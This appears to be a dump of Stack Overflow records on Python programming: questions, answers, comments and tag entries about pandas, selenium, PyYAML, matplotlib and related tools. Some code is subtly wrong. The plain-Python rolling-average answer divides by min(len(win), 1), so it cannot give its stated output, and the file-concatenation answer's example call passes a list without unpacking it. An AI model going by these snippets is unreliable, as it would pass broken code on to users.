has body: Since you are using Pandas: import numpy as np import pandas as pd def RollingPositiveAverage(listA, window=3): s = pd.Series(listA) s[s &lt; 0] = np.nan result = s.rolling(window, center=True, min_periods=1).mean() result.iloc[:window // 2] = np.nan result.iloc[-(window // 2):] = np.nan return result # or result.values or list(result) if you prefer array or list print(RollingPositiveAverage([1, 2, 3, 4, 5, -1, 4, 2, 3])) Output: 0 NaN 1 2.0 2 3.0 3 4.0 4 4.5 5 4.5 6 3.0 7 3.0 8 NaN dtype: float64 Plain Python version: import math def RollingPositiveAverage(listA, window=3): result = [math.nan] * (window // 2) for win in zip(*(listA[i:] for i in range(window))): win = tuple(v for v in win if v &gt;= 0) result.append(float(sum(win)) / min(len(win), 1)) result.extend([math.nan] * (window // 2)) return result print(RollingPositiveAverage([1, 2, 3, 4, 5, -1, 4, 2, 3])) Output: [nan, 2.0, 3.0, 4.0, 4.5, 4.5, 3.0, 3.0, nan]
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85898496

http://stackoverflow.com/comment/86123390
has text: FYI a .bashrc is for linux's default shell, bash.
comment on: http://stackoverflow.com/q/49557532
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49511444
upvote count: 1
tagged with: webdriver
favorite count: 0
type: Question
tagged with: selenium-edgedriver
type: UnansweredQuestion
tagged with: python
has body: I am getting this error as trying to open microsoft edge with selenium webdriver. this is with latest RS4 win10(17121) and webdriver(17110). Python 3.4 Tried with older report's solution but still facing the same issue. 'Traceback (most recent call last): File "fishbowl.py", line 98, in &lt;module&gt; main() File "fishbowl.py", line 24, in main driver=webdriver.Edge(); File "c:\Python34\lib\site-packages\selenium\webdriver\edge\webdriver.py", line 43, in __init__ desired_capabilities=capabilities) File "c:\Python34\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 154, in __init__ self.start_session(desired_capabilities, browser_profile) File "c:\Python34\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 243, in start_session response = self.execute(Command.NEW_SESSION, parameters) File "c:\Python34\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 312, in execute self.error_handler.check_response(response) File "c:\Python34\lib\site-packages\selenium\webdriver\remote\errorhandler.py", line 208, in check_response raise exception_class(value) selenium.common.exceptions.WebDriverException: Message: Unknown error
tagged with: selenium-webdriver
has title: Unknown exception error while opening edge using selenium webdriver
answer count: 0
score: 1
downvote count: 0
tagged with: selenium

http://stackoverflow.com/comment/86113344
type: Comment
comment on: http://stackoverflow.com/a/49553112
type: AnswerComment
has text: Using the built-in methods of the `logging` module has the advantage that the string will not be formatted if it is below the logging level. This saves some time for objects for which `__str__` is expensive.
score: 0

http://stackoverflow.com/a/49468055
has body: Please see the answer of @KeyurPotdar for an explanation for why your original solution did not work. For a list-comprehension-based solution to your issue (which it seems like you were after), you can create a mapping of inputs to outputs, and then iterate over the mapping with your inputs mapping = { '1': 'i', '2': 'put', '3': 'this', '4': 'here', } sentence = ['1', '2', '3', '4'] newsentence = [mapping[word] for word in sentence] # ['I', 'put', 'this', 'here'] This is nice, but if you decide to throw more inputs at mapping for which you have not defined an output you would get a KeyError. To easily handle this you can use dict.get, which allows you to provide a fallback value to be returned if the given key is missing. newsentence = [mapping.get(word, word) for word in sentence] # ['I', 'put', 'this', 'here'] A good reference on dict.get. Not only is a mapping-based solution more efficient in this case (see @KeyurPotdar's notes on that), but separating your code into data and logic is The Right Thing To Do&trade;. If you can transform a problem from being code/logic based (such as the sequence of list comprehensions in the original question) to be mapping-based you will almost always win on maintainability and code clarity. Observe that this solution both data and logic are mixed: newsentence = [n.replace('1', 'I') for n in sentence] newsentence = [n.replace('2', 'put') for n in newsentence] newsentence = [n.replace('3', 'this') for n in newsentence] newsentence = [n.replace('4', 'here') for n in newsentence] However, in a mapping based solution they are separated # DATA mapping = { '1': 'i', '2': 'put', '3': 'this', '4': 'here', } # LOGIC newsentence = [mapping.get(word, word) for word in sentence] What does this buy you? Suppose down the road you end up having to support mapping 1000 words, and these words change often. Having the words mixed with the logic makes them more challenging to find, and makes it harder to mentally decouple if a change will just affec…
downvote count: 0
answers question: http://stackoverflow.com/q/49465391
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/85966536
type: Answer
has comment: http://stackoverflow.com/comment/85939181

http://stackoverflow.com/comment/86153449
type: Comment
type: QuestionComment
score: 0
has text: What do you plan to achieve by removing the input from the training process? How do you expect the model to learn making predictions without having any input to work on?
comment on: http://stackoverflow.com/q/49572647

tweepy
tags question: http://stackoverflow.com/q/49455602
tags question: http://stackoverflow.com/q/49465184
tags question: http://stackoverflow.com/q/49589497
type: Tag
tags question: http://stackoverflow.com/q/49468267
tags question: http://stackoverflow.com/q/49582548
tags question: http://stackoverflow.com/q/49530034
tag name: tweepy

http://stackoverflow.com/comment/86056853
type: QuestionComment
comment on: http://stackoverflow.com/q/49519560
score: 1
has text: Did one of the below solutions help? If so, feel free to accept one (green tick on left), otherwise feel free to ask for clarification.
type: Comment

http://stackoverflow.com/a/49501769
has comment: http://stackoverflow.com/comment/86118446
accepted answer of: http://stackoverflow.com/q/49466193
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49466193
has comment: http://stackoverflow.com/comment/86118487
type: AcceptedAnswer
downvote count: 0
has body: Here is a demo, showing how to union features and how to tune up hyperparameters using GridSearchCV. Unfortunately your sample data set is too tiny to train a real model... try: from pathlib import Path except ImportError: # Python 2 from pathlib2 import Path import os import re from pprint import pprint import pandas as pd import numpy as np from sklearn.base import BaseEstimator, TransformerMixin from sklearn.preprocessing import FunctionTransformer, LabelEncoder, LabelBinarizer, StandardScaler from sklearn.model_selection import train_test_split from sklearn.feature_selection import SelectPercentile from sklearn.feature_extraction import DictVectorizer from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer from sklearn.model_selection import GridSearchCV from sklearn.linear_model import SGDClassifier from sklearn.naive_bayes import MultinomialNB, GaussianNB from sklearn.neural_network import MLPClassifier from sklearn.svm import SVC from sklearn.pipeline import Pipeline, FeatureUnion from sklearn.externals import joblib from scipy.sparse import csr_matrix, hstack class ColumnSelector(BaseEstimator, TransformerMixin): def __init__(self, name=None, position=None, as_cat_codes=False, sparse=False): self.name = name self.position = position self.as_cat_codes = as_cat_codes self.sparse = sparse def fit(self, X, y=None): return self def transform(self, X, **kwargs): if self.name is not None: col_pos = X.columns.get_loc(self.name) elif self.position is not None: col_pos = self.position else: raise Exception('either [name] or [position] parameter must be not-None') if self.as_cat_codes and X.dtypes.iloc[col_pos] == 'category': ret = X.iloc[:, col_pos].cat.codes else: ret = X.iloc[:, col_pos] if self.sparse: ret = csr_matrix(ret.values.reshape(-1,1)) return ret union = FeatureUnion([ ('text', Pipeline([ ('select', ColumnSelector('url')), #('pct', SelectPercentile(percentile=1)), ('vect', TfidfVectorizer(sublinear_tf=True, max_df=0.5, stop_words='engl…
upvote count: 1

http://stackoverflow.com/comment/86245108
type: Comment
comment on: http://stackoverflow.com/a/49476339
type: AnswerComment
score: 0
has text: I found a solution. If you're is used MacOS, at it is necessary to familiarize with this theme: https://stackoverflow.com/questions/35878297/cant-connect-to-docker-containers-on-osx

http://stackoverflow.com/a/49584146
downvote count: 1
has comment: http://stackoverflow.com/comment/86176482
has body: server_id = 1 message = "hello bob, how are you?" a = [ { "server_id": 1, "contents": [ { "word": "hello", "reaction": "greetings" } ] } ] for msg in a : for contentKey in msg.keys(): if 'contents' == contentKey: if msg[contentKey][0]['word'] in message : #check if the word is in message only then show reaction print("reaction is :" + msg[contentKey][0]['reaction']) here is how you can retrieve the message
has comment: http://stackoverflow.com/comment/86176426
has comment: http://stackoverflow.com/comment/86176464
type: Answer
answers question: http://stackoverflow.com/q/49584044
score: 0
has comment: http://stackoverflow.com/comment/86176459
has comment: http://stackoverflow.com/comment/86176497
upvote count: 1

http://stackoverflow.com/comment/86212078
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49602249
type: Comment
has text: bro you have already helped me a lot but can i ask you about one more issue i'm currently having in my update view?

http://stackoverflow.com/comment/85953603
has text: Does it matter _where_ the words are found? For example, would ` foobar ` be a match?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49475436
score: 0

http://stackoverflow.com/comment/86182296
has text: In the pandas docs, it says for dropna: axis : {0 or ‘index’, 1 or ‘columns’} and for sum: axis : {index (0), columns (1)} So it should be the same for both. Though in my example they behave opposite of each other, as far as I can see.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49587250
type: Comment

http://stackoverflow.com/a/49529544
accepted answer of: http://stackoverflow.com/q/49522462
has comment: http://stackoverflow.com/comment/86065117
answers question: http://stackoverflow.com/q/49522462
type: Answer
has comment: http://stackoverflow.com/comment/86080255
score: 0
has body: Try adding res.encoding = 'utf-8' before writing to the file: if __name__ == '__main__': import requests res = requests.get('https://www.makorrishon.co.il/') res.encoding = 'utf-8' file = open('makor1.html', 'wb') file.write(res.text.encode('utf-8')) file.close()
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86065072

http://stackoverflow.com/a/49497699
type: Answer
score: 4
answers question: http://stackoverflow.com/q/49497627
has comment: http://stackoverflow.com/comment/86351778
upvote count: 4
has comment: http://stackoverflow.com/comment/86351502
has comment: http://stackoverflow.com/comment/86351225
downvote count: 0
has comment: http://stackoverflow.com/comment/86351659
has comment: http://stackoverflow.com/comment/86351468
has body: Here is a more straightforward way using pd.Series.value_counts and np.where. Where possible, avoid using pd.Series.apply as this is just a thinly veiled loop. The power of pandas is generally only apparent when you can vectorise calculations. df['count'] = df['id'].map(df['id'].value_counts()) df['cat'] = np.where(df['count'] &lt;= 1, 'A', np.where(df['count'] &lt; 3, 'B', 'C')) # id val count cat # 0 1 21 2 B # 1 2 35 3 C # 2 2 45 3 C # 3 3 55 3 C # 4 1 10 2 B # 5 4 90 1 A # 6 3 45 3 C # 7 2 78 3 C # 8 3 23 3 C

http://stackoverflow.com/q/49440016
accepted answer: http://stackoverflow.com/a/49440722
tagged with: file
has comment: http://stackoverflow.com/comment/85882285
tagged with: dictionary
score: 4
favorite count: 0
has title: Python: Saving dictionary to .py file
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85882167
possible better answer: http://stackoverflow.com/a/49440156
has answer: http://stackoverflow.com/a/49440722
tagged with: http://stackoverflow.com/tag/json
downvote count: 1
linked to: http://stackoverflow.com/q/4530611
has comment: http://stackoverflow.com/comment/85883411
tagged with: python
has body: I have got a dictionary this_dict produced in a python script that I would like to write to a separate python module dict_file.py. This would allow me to load the dictionary in another script by importing dict_file. I thought a possible way of doing this was using JSON, so I used the following code: import json this_dict = {"Key1": "Value1", "Key2": "Value2", "Key3": {"Subkey1": "Subvalue1", "Subkey2": "Subvalue2" } } with open("dict_file.py", "w") as dict_file: json.dump(this_dict, dict_file, indent=4) When I opened the resulting file in my editor, I got a nicely printed dictionary. However, the name of the dictionary in the script (this_dict) was not included in the generated dict_file.py (so only the braces and the body of the dictionary were written). How can I include the name of the dictionary too? I want it to generate dict_file.py as follows: this_dict = {"Key1": Value1, "Key2": Value2, "Key3": {"Subkey1": Subvalue1, "Subkey2": Subvalue2 } }
has comment: http://stackoverflow.com/comment/85882047
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/49440156
upvote count: 5

http://stackoverflow.com/comment/86098030
type: QuestionComment
comment on: http://stackoverflow.com/q/49545186
has text: you can subtract 0.5 from `weights` then.
score: 1
type: Comment

http://stackoverflow.com/q/49582117
has answer: http://stackoverflow.com/a/49582348
has comment: http://stackoverflow.com/comment/86172469
has comment: http://stackoverflow.com/comment/86172488
has comment: http://stackoverflow.com/comment/86172627
score: 1
has body: I have an issue that has been plaguing me since I started working on notebook python. I have a simple snippet to display an image of type float64 with a size of [714,180] evidence = hough_forests(edges) fig = plt.figure(figsize=(20, 20)) plt.imshow(evidence, cmap="gray") No matter what value I put in figsize, the image appears squeezed because it has a lot more rows than columns. I have tried import matplotlib.pyplot as plt plt.rcParams["figure.figsize"] = (20,20) posted How do you change the size of figures drawn with matplotlib? but it does not work as well. I noticed that the figsize command only works when I am using subplots for multiple images. It also does not work if I set aspect='equal'
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86172622
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86172352
tagged with: matplotlib
has title: How to force matplotlib to scale images?
tagged with: python
linked to: http://stackoverflow.com/q/332289
has comment: http://stackoverflow.com/comment/86172427

http://stackoverflow.com/a/52222659
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49575973
type: Answer
accepted answer of: http://stackoverflow.com/q/49575973
has body: Timestamps may be rounded down using a time frequency string: https://pandas.pydata.org/pandas-docs/stable/generated/pandas.Timestamp.floor.html pd.Timestamp.now().floor('M') pd.Timestamp.now().floor('H') pd.Timestamp.now().floor('D')
downvote count: 0
score: 1

http://stackoverflow.com/q/49480853
has comment: http://stackoverflow.com/comment/85964843
type: Question
tagged with: python-3.x
has title: Determining if __init__() is called as a result of method call
tagged with: python
type: AnsweredQuestion
score: 0
has body: I have a case where, evidently, __init__() is called as a result of a method call. (Not precisely sure why; suspect it may have to do with needing to return a copy.) Example of the class's design: import copy import pandas as pd class TSeries(pd.Series): # See: # https://pandas.pydata.org/pandas-docs/stable/internals.html _metadata = ['some_new_attr'] def __init__(self, *args, **kwargs): # Copy needed because we would otherwise inadvertantly alter # mutable arguments such as pd.Series, TSeries, etc. args = tuple(copy.deepcopy(arg) for arg in args) some_new_attr = kwargs.pop('some_new_attr', None) super().__init__(*args, **kwargs) print('WE ARE "IN IT."') # Put a calculation here that that we *don't* want to call # if class instance is instantiated as a result of # of self.new_method(). # # _do_some_conditional_calculation(self) @property def _constructor(self): # Used when a manipulation result has the same # dimesions as the original. Fairly sure # self.new_method() uses this. return TSeries def new_method(self): return self * 100 Calling a method, as a result of which __init__() is called: &gt;&gt;&gt; x = TSeries([1, 2, 3]) WE ARE "IN IT." &gt;&gt;&gt; x.new_method() WE ARE "IN IT." # &lt;-- __init__() called 0 100 1 200 2 300 dtype: int64 My desire is to do some inplace operation on self within __init__(), but not if the call occurred because of a method call. (Or, more directly, "do the operation only if the user instantiates an instance of TSeries directly.") How can I differentiate between these two cases? Update - this illustrates what I'm trying to do, but seems dangerous. IS_METHOD_CALL = False class TSeries(pd.Series): # See: # https://pandas.pydata.org/pandas-docs/stable/internals.html _metadata = ['some_new_attr'] def __init__(self, *args, **kwargs): # Copy needed because we would otherwise inadvertantly alter # mutable arguments such as pd.Series, TSeries, etc. args = tuple(copy.deepcopy(arg) for arg in args) some_new_attr = kwargs.pop('some_new_attr',…
accepted answer: http://stackoverflow.com/a/49480956
tagged with: pandas
has answer: http://stackoverflow.com/a/49480956
answer count: 1

http://stackoverflow.com/comment/86164351
has text: From a quick glance, it looks like you’re asking sympy to build a dict with you list of symbols as a key, and you can’t use a list as a key (because they’re mutable, and changing the list would break the dict). But you can just use a tuple instead.
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49578365

http://stackoverflow.com/comment/86206023
score: 1
has text: Thank you so much for this reply. This is very helpful and imformative :)
comment on: http://stackoverflow.com/a/49599157
type: Comment
type: AnswerComment

http://stackoverflow.com/a/60201512
type: Answer
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49479277
has body: You can give a try to py2exe module in python.

http://stackoverflow.com/comment/85951416
score: 0
type: AnswerComment
has text: still getting the same error
type: Comment
comment on: http://stackoverflow.com/a/49474510

http://stackoverflow.com/comment/93172633
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49587120
has text: Regex is fragile, e.g. it does not cover signs and scientific notation.

http://stackoverflow.com/q/49546015
linked to: http://stackoverflow.com/q/56234047
type: UnansweredQuestion
tagged with: matplotlib
tagged with: python
has comment: http://stackoverflow.com/comment/86102174
has title: OSMnx Visualize the graph of edge centrality on Folium
score: 0
tagged with: openstreetmap
has comment: http://stackoverflow.com/comment/118634892
answer count: 1
has comment: http://stackoverflow.com/comment/86102971
tagged with: osmnx
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/119488703
has body: I'm trying to plot the graph of edge centrality on the folium using the following code graph_map = ox.plot_graph_folium(G, popup_attribute='name', tiles='stamenterrain', edge_color=ec, edge_width=2) where ec is list of edge colors but it is not showing up. Does edge_color accept a list of colors ? Any ideas? I really appreciate if you can help me. https://github.com/gboeing/osmnx-examples/blob/master/notebooks/08-example-line-graph.ipynb
favorite count: 0
tagged with: networkx
type: Question
has answer: http://stackoverflow.com/a/49585974
has comment: http://stackoverflow.com/comment/86099992

http://stackoverflow.com/comment/86102432
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49538148
has text: You can try on this `tf.constant(dataframe, dtype = tf.float32)`
type: Comment

http://stackoverflow.com/a/49503898
answers question: http://stackoverflow.com/q/49503721
has body: How about just do the easy: def cat(out, *src): '''Concatenate files''' with open(out, 'wb') as f: data = b'\n'.join(open(i, 'rb').read() for i in src) f.write(data) You may now call it with cat('merged.md', glob.glob('*.md')). How's that for handy? Certainly much easier than the source of GNU Coreutils.
score: 0
type: Answer

http://stackoverflow.com/a/49516605
score: 0
answers question: http://stackoverflow.com/q/49510315
type: Answer
has body: If df1 and df2 have the same indices then you might not have to use a for loop. To start, try this: # this will replace the values in df2['time1'] with the values of df1['time'] where df1['log'] == 'picked' df2.loc[df1['log'] == 'picked', 'time1'] = df1.loc[df1['log'] == 'picked', 'time'] Also, it would help if you could supply some sample data as the comments above have suggested.

http://stackoverflow.com/comment/85920173
score: 0
type: AnswerComment
has text: Dual Pivot version is my next target, but first i wanted to implement this one. I checked list full of the same elements and i noticed that partition always slices just one element. Also I see that `a[i+1], a[r] = a[r], a[i+1]` does a lot of swaps even when elements are the same. Do i understand correctly that without changing it to dualpivot i cant do anything about 1st one ? But can i eliminate somehow swaping of the same elements ?
comment on: http://stackoverflow.com/a/49458505
type: Comment

http://stackoverflow.com/a/49486565
has body: I recommend the former because: The latter is misleading about the origin of the function. Using the latter reduces maintainability as you need to traverse b when looking for the function's definition - only to find that it resides in a. Moreover, in case you decide to drop module B and directly import A, your code will break. However, at the end of the day, it boils down to what you and your team prefer. Regardless of what you choose, I recommend that you stay consistent with the choice.
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/49486326

http://stackoverflow.com/comment/86061432
type: QuestionComment
score: 0
has text: Yes, I am aware of the fact that chcp can make things worse. I read this dicussion [link](https://superuser.com/questions/269818/change-default-code-page-of-windows-console-to-utf-8https://superuser.com/questions/269818/change-default-code-page-of-windows-console-to-utf-8). (OMG!).
comment on: http://stackoverflow.com/q/49445992
type: Comment

http://stackoverflow.com/q/49453087
tagged with: python
favorite count: 0
tagged with: pyyaml
type: Question
has comment: http://stackoverflow.com/comment/85946035
has title: Python parsing class from YAML
tagged with: yaml
downvote count: 0
has answer: http://stackoverflow.com/a/49453614
has comment: http://stackoverflow.com/comment/85920502
upvote count: 6
has answer: http://stackoverflow.com/a/49458752
score: 6
linked to: http://stackoverflow.com/q/43812020
type: AnsweredQuestion
tagged with: python-2.7
linked to: http://stackoverflow.com/q/41900782
answer count: 3
accepted answer: http://stackoverflow.com/a/49453614
has body: I am trying to output and then to parse back from YAML the following import numpy as np class MyClass(object): YAMLTag = '!MyClass' def __init__(self, name, times, zeros): self.name = name self._T = np.array(times) self._zeros = np.array(zeros) The YAML file looks like !MyClass: name: InstanceId times: [0.0, 0.25, 0.5, 1.0, 2.0, 5.0, 10.0] zeros: [0.03, 0.03, 0.04, 0.03, 0.03, 0.02, 0.03] To write, I have added to the class two methods def toDict(self): return {'name' : self.name, 'times' : [float(t) for t in self._T], 'zeros' : [float(t) for t in self._zeros]} @staticmethod def ToYAML(dumper, data): return dumper.represent_dict({data.YAMLTag : data.toDict()}) and to read, the method @staticmethod def FromYAML(loader, node): nodeMap = loader.construct_mapping(node) return MyClass(name = nodeMap['name'], times = nodeMap['times'], zeros = nodeMap['zeros']) and following YAML Documentation, I added the following snippet in the same Python file myClass.py: import yaml yaml.add_constructor(MyClass.YAMLTag, MyClass.FromYAML) yaml.add_representer(MyClass, MyClass.ToYAML) Now, the writing seems to work ok, but reading the YAML, the code loader.construct_mapping(node) seems to return the dictionary with empty data: {'zeros': [], 'name': 'InstanceId', 'times': []} How should I fix the reader to be able to do this properly? Or perhaps I am not writing something out right? I spent a long time looking at PyYAML documentation and debugging through how the package is implemented but cannot figure out a way to parse out a complicated structure, and the only example I seemed to find has a 1-line class which parses out easily. Related: YAML parsing and Python UPDATE Manually parsing the node as follows worked: name, times, zeros = None, None, None for key, value in node.value: elementName = loader.construct_scalar(key) if elementName == 'name': name = loader.construct_scalar(value) elif elementName == 'times': times = loader.construct_sequence(value) elif elementName == 'zeros': zero…
has answer: http://stackoverflow.com/a/69721888
linked to: http://stackoverflow.com/q/6866600
possible better answer: http://stackoverflow.com/a/49458752

http://stackoverflow.com/comment/85953193
type: Comment
type: QuestionComment
has text: I see; if the arrays simply represent 5x5 matrices, calling them multi-dimensional is confusing. If I understand the question correctly, you also only want to plot one of the two arrays?
score: 0
comment on: http://stackoverflow.com/q/49475217

http://stackoverflow.com/comment/86038212
type: QuestionComment
comment on: http://stackoverflow.com/q/49498932
score: 0
type: Comment
has text: Update: this better programmer also suggests it may be impossible to grab the output of the query without creating another class altogether that works with HiveQueryTask. This is obviously outside my abilities. Alternatively, he suggested INSERT OVERWRITE LOCAL DIRECTORY in the sql/hql statement, which I will try (and later report back if its successful)

http://stackoverflow.com/q/49507607
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/91782565
tagged with: python
tagged with: keras
score: 2
has comment: http://stackoverflow.com/comment/91783689
tagged with: anaconda
tagged with: installation
tagged with: windows
has comment: http://stackoverflow.com/comment/86020183
has title: not able to install Keras on Windows using Conda
favorite count: 0
type: Question
has body: I am getting dependency conflicts for keras and keras-gpu when installing via conda shell on Windows. Earlier the conflicts were between nltk and keras and I uninstalled nltk package. But even now the following conflict exists: (base) C:\WINDOWS\system32&gt; conda install keras Solving environment: failed UnsatisfiableError: The following specifications were found to be in conflict: - backports.functools_lru_cache - keras Use "conda info &lt;package&gt;" to see the dependencies for each package. How do I resolve this error and successfully install keras and keras-gpu?
has comment: http://stackoverflow.com/comment/86032621
answer count: 0
upvote count: 2

http://stackoverflow.com/comment/86009666
comment on: http://stackoverflow.com/a/49499419
has text: It worked without os.fsync(), but I'll add it for good measure.
score: 0
type: Comment
type: AnswerComment

mrjob
tags question: http://stackoverflow.com/q/49472471
type: Tag
tags question: http://stackoverflow.com/q/49592039
tag name: mrjob

setuptools
tags question: http://stackoverflow.com/q/49455926
tag name: setuptools
tags question: http://stackoverflow.com/q/49461345
tags question: http://stackoverflow.com/q/49553674
type: Tag
tags question: http://stackoverflow.com/q/49558768

http://stackoverflow.com/comment/86046236
comment on: http://stackoverflow.com/q/49475762
type: Comment
score: 1
has text: Does this still happen on a more recent Socket.IO client? They had bugs regarding utf-8 encoding in those old releases, try a 2.x.
type: QuestionComment

http://stackoverflow.com/comment/86072311
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49531952
has text: Maybe it has something to do with the unbalanced structure of the signal? (4 high value for each 1 low value)?

http://stackoverflow.com/q/49556039
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/86146325
tagged with: django
tagged with: python
score: 2
tagged with: alexa-skills-kit
answer count: 0
has body: As per the Tutorial given by django-alexa When i place alexa.py in my project folder myalexa/ db.sqlite3 manage.py insurance/ admin.py alexa.py apps.py models.py tests.py views.py __init__.py migrations/ __init__.py myalexa/ .gitignore LICENSE README.md settings.py urls.py wsgi.py __init__.py and i did \myalexa>python manage.py alexa_intents { "intents": [ { "intent": "LaunchRequest", "slots": [] }, { "intent": "CancelIntent", "slots": [] }, { "intent": "StopIntent", "slots": [] }, { "intent": "HelpIntent", "slots": [] }, { "intent": "SessionEndedRequest", "slots": [] } ] } as per the tutorial it should give my intents that are present in my alexa.py but is still give me the old content what am i doing wrong. and also how do i find my ALEXA_APP_ID_my_app=as per the tutorial amzn1.echo-sdk-ams.app.e18a3326-4775-45f2-83n0-5eeg03832401 but what i get is "applicationId": "amzn1.ask.skill.6aad0e83-2b02-4c83-9063-58374b780c7d" Thanks in advance
has title: django-alexa unable to read intents
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86119964
upvote count: 2

http://stackoverflow.com/q/49523991
linked to: http://stackoverflow.com/q/46525786
tagged with: dataframe
favorite count: 0
type: Question
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/71339220
tagged with: python
linked to: http://stackoverflow.com/q/46179362
score: 2
has answer: http://stackoverflow.com/a/49524163
has title: Match IntervalIndex as part of a MultiIndex
has answer: http://stackoverflow.com/a/50121467
downvote count: 0
answer count: 3
has body: I have a problem setup using a pandas IntervalIndex, similar to those posed here and here, but with differences that have thus far prevented me from successfully implementing their solutions. I have two DataFrames, constructed as such: df1 month group time distance 0 1 A 10 100 1 1 A 20 120 2 1 A 25 110 3 1 B 5 90 4 1 B 7 99 5 1 B 17 60 6 1 C 30 200 7 1 C 35 170 8 2 A 5 40 9 2 A 10 27 10 2 B 17 33 11 2 B 19 65 df1.set_index(['month', 'group', 'time'], inplace=True) df2 month group start end period 0 1 A 5 15 1 1 1 A 15 21 2 2 1 A 21 30 3 3 1 B 2 10 1 4 1 B 10 20 2 5 2 A 3 8 1 6 2 A 8 15 2 7 2 B 10 20 1 df2.set_index(['month', 'group'], inplace=True) Where start and end in df2 can be used to define an interval. My real data are much larger, with df1 on the order of 100,000 rows and df2 on the order of 10,000 rows. What I would like to do is assign the period variable to df1, matching on month, group, and if df1['time'] is in the interval in df2. There are two complications over the problems posed in the questions referenced above: The IntervalIndex needs to be just one part of a MultiIndex, and the matching needs to happen on all three levels of the index. Sometimes a time exists in df1 that doesn't match an interval in df2. I don't have a strong preference for if those rows are populated with NaN or another missing value, or if they are just removed altogether, but what I can't have is a KeyError. My first steps were: df2Index = pd.IntervalIndex.from_arrays(df2['start'], df2['end'], closed='left') df2.set_index(df2Index, append=True, inplace=True) to apply the IntervalIndex to df2 while keeping month and group as higher level indices. I tried a few approaches, such as period = df2.loc[df2.index.get_indexer(df1.index), 'period'] period = df2.get_loc(df1.index), 'period'] But I have been unable to get the correct indexing behavior. For completeness, my desired result is: month group time distance period 0 1 A 10 100 1 1 1 A 20 120 2 2 1 A 25 110 3 3 1 B 5 90 1 4 1 B 7…
tagged with: pandas

http://stackoverflow.com/comment/86124643
comment on: http://stackoverflow.com/q/49558342
type: Comment
type: QuestionComment
has text: @FlyingTeller Oh, yes it was a silly mistake.
score: 0

http://stackoverflow.com/a/49563252
type: Answer
answers question: http://stackoverflow.com/q/49561140
has body: Why don't you transpose it?: data_table_years.T.plot()
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49561140
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86134738

http://stackoverflow.com/comment/86142486
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49566866
type: Comment
has text: so you means your `http-get` didn't get the result same as `https://poshmark.com/search?brand=freepeople&style=top&type=listings&department=Women`?

http://stackoverflow.com/comment/86333154
has text: This does not explain that `raw_input` should be used instead.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49661400

http://stackoverflow.com/a/49506972
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49506843
has body: Use scipy hstack to stack the column density with matrix from scipy.sparse import hstack new_matrix = hstack([matrix, density])
score: 1
answers question: http://stackoverflow.com/q/49506843
type: Answer
downvote count: 0

http://stackoverflow.com/q/49539585
score: 1
linked to: http://stackoverflow.com/q/4042905
downvote count: 1
has answer: http://stackoverflow.com/a/66851352
has answer: http://stackoverflow.com/a/49539845
favorite count: 0
has body: I create two python files named "test.py" and __main__.py. in test.py: import __main__ in __main__.py: print(__name__) but when I run test.py, it outputs nothing. then, I change __main__.py to: def main(): print("ok") and test.py: import __main__ __main__.main() When I run test.py, it appears an error: Traceback (most recent call last): File "/Users/lyz/test.py", line 2, in &lt;module&gt; __main__.main() AttributeError: module '__main__' has no attribute 'main' who can tell me why? Thanks a lot!
type: Question
tagged with: python-3.x
has title: I name a python file as "__main__.py", and I import __main__ in another file, can't run the functions in __main__
has comment: http://stackoverflow.com/comment/86086784
has comment: http://stackoverflow.com/comment/99808042
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49539916
has comment: http://stackoverflow.com/comment/86086694
tagged with: python
answer count: 4
has comment: http://stackoverflow.com/comment/86086601
upvote count: 2
has answer: http://stackoverflow.com/a/69088031

http://stackoverflow.com/comment/86161157
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/49503195
has text: does it wor for you by know?
type: Comment

http://stackoverflow.com/a/71063275
has comment: http://stackoverflow.com/comment/125746560
type: Answer
has body: The error seems to appear when you have both JSON &amp; pandas packages in the same python environment. I found a cheap solution by having a separate project file for pandas &amp; JSON so that I install the packages in different virtual environments.
score: 0
answers question: http://stackoverflow.com/q/49583758

http://stackoverflow.com/comment/86136847
type: Comment
score: 0
type: AnswerComment
has text: Maybe it is only a problem from my python, but I can't use list[a:b] if a and b are not integers... It raises an error every time.
comment on: http://stackoverflow.com/a/49545394

http://stackoverflow.com/comment/86152386
comment on: http://stackoverflow.com/q/49565047
type: QuestionComment
type: Comment
score: 0
has text: I give up. Take it from me: Don't try to customize the `pprint` module. It's _much_ easier and cleaner to reimplement the whole damn thing. They should rewrite the docs to remove any mention of customization.

http://stackoverflow.com/comment/86139451
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49565544
